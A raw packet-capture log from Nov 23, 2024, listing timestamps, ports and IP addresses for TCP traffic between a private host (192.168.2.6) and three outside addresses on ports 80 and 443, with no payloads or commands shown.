Nov 23, 2024 09:16:55.182097912 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.183084965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.183520079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.183579922 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.183604002 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.183643103 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.183661938 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.183670044 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.183700085 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.184376001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.184389114 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.184494019 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.184511900 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.184583902 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.184593916 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.184618950 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.185347080 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.185364008 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.185390949 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.185420990 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.185420990 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.186494112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.186506987 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.186552048 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.187515020 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.187690020 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.187741995 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.187915087 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.188653946 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.188667059 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.188673973 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.188694954 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.188728094 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.188779116 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.188790083 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.189739943 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.189754009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.189800024 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.189835072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.190807104 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.191137075 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.191195965 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.191920996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.191976070 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.192076921 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.193025112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.193080902 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.193701029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.193825006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.194127083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.194169998 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.194233894 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.194271088 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.194778919 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.194792032 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.194820881 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.194825888 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.194849014 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.194859028 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.194895029 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.194900990 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.194900990 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.194951057 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.195229053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.195400953 CET	49864	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.195405006 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.195416927 CET	443	49864	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.195424080 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.195441961 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.196360111 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.196410894 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.200489044 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.200511932 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.200598955 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.200598955 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.200608969 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.206087112 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.206118107 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.206228971 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.206228971 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.206238985 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.212265968 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.212294102 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.212330103 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.212336063 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.212364912 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.231498957 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.231530905 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.231615067 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.231623888 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.231650114 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.279093027 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.279181004 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.279208899 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.279305935 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.279357910 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.279639006 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.279755116 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.279829025 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.279869080 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.280343056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.280399084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.280507088 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.280622959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.281450033 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.281502008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.281687021 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.281737089 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.282568932 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.282636881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.283066034 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.283643007 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.283662081 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.283755064 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.284106970 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.284152985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.284770012 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.284820080 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.284929037 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.285218000 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.285851002 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.285927057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.285979033 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.286947966 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.286989927 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.286998034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.287054062 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.288084030 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.288285971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.288326979 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.289192915 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.289239883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.289244890 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.289335012 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.290281057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.290329933 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.290692091 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.290735960 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.311284065 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.311340094 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.311427116 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.311649084 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:55.311665058 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:55.350230932 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.350313902 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.350342989 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.350372076 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.350720882 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.350769043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.350780010 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.350816965 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.351804018 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.351882935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.351958036 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.352974892 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.352987051 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.353111982 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.354037046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.354489088 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.354567051 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.355117083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.355185986 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.356141090 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.356194973 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.356226921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.356240034 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.356266975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.356282949 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.357342005 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.357451916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.358144999 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.358463049 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.358474970 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.358628988 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.359512091 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.359955072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.360690117 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.360703945 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.360714912 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.360738993 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.360769987 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.361730099 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.362880945 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.362893105 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.362905025 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.362948895 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.362989902 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.363940954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.364470005 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.364514112 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.365031958 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.365088940 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.365685940 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.365863085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.366174936 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.366190910 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.366266012 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.367240906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.367407084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.367429018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.367449045 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.368351936 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.368596077 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.369064093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.369463921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.369957924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.370107889 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.370203018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.370565891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.370578051 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.370611906 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.371644974 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.371927023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.372292995 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.372334957 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.372744083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.372967005 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.372987986 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.373003960 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.373938084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.373951912 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.374010086 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.374010086 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.374957085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.375046968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.375091076 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.375323057 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.376060963 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.376260042 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.376306057 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.377162933 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.377207041 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.377696991 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.377742052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.378262043 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.378305912 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.378483057 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.378525972 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.379375935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.379441977 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.379615068 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.379652977 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.380477905 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.380532980 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.380551100 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.380584002 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.381598949 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.381638050 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.381778002 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.381874084 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.382683992 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.382725954 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.382822037 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.383235931 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.383776903 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.383819103 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.383960962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.384963036 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.385044098 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.385044098 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.385385990 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.385488033 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.385991096 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.386543036 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.387048960 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.387152910 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.387193918 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.387337923 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.387928963 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.388217926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.388245106 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.388281107 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.388511896 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.388525963 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.388550043 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.388581038 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.388590097 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.388602018 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.389117956 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.389307976 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.389600992 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.389638901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.390414000 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.390459061 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.390522957 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.390558004 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.391550064 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.391562939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.391597033 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.392599106 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.392715931 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.393007040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.393049955 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.393712044 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.393904924 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.394032001 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.394057989 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.394064903 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.394093990 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.394099951 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.394128084 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.394150019 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.394845963 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.394857883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.394885063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.394906044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.395939112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.395962954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.396003008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.396982908 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:55.399213076 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.399240017 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.399292946 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:55.399295092 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.399310112 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.399327993 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.399935007 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.405613899 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.405637026 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.405680895 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.405687094 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.405715942 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.405745029 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.410968065 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.410990953 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.411031961 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.411036968 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.411068916 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.411087990 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.416374922 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.416399002 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.416434050 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.416445017 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.416465998 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.416486979 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.416491032 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.422787905 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.422816992 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:55.422924995 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:55.422924995 CET	49862	443	192.168.2.6	23.209.72.25
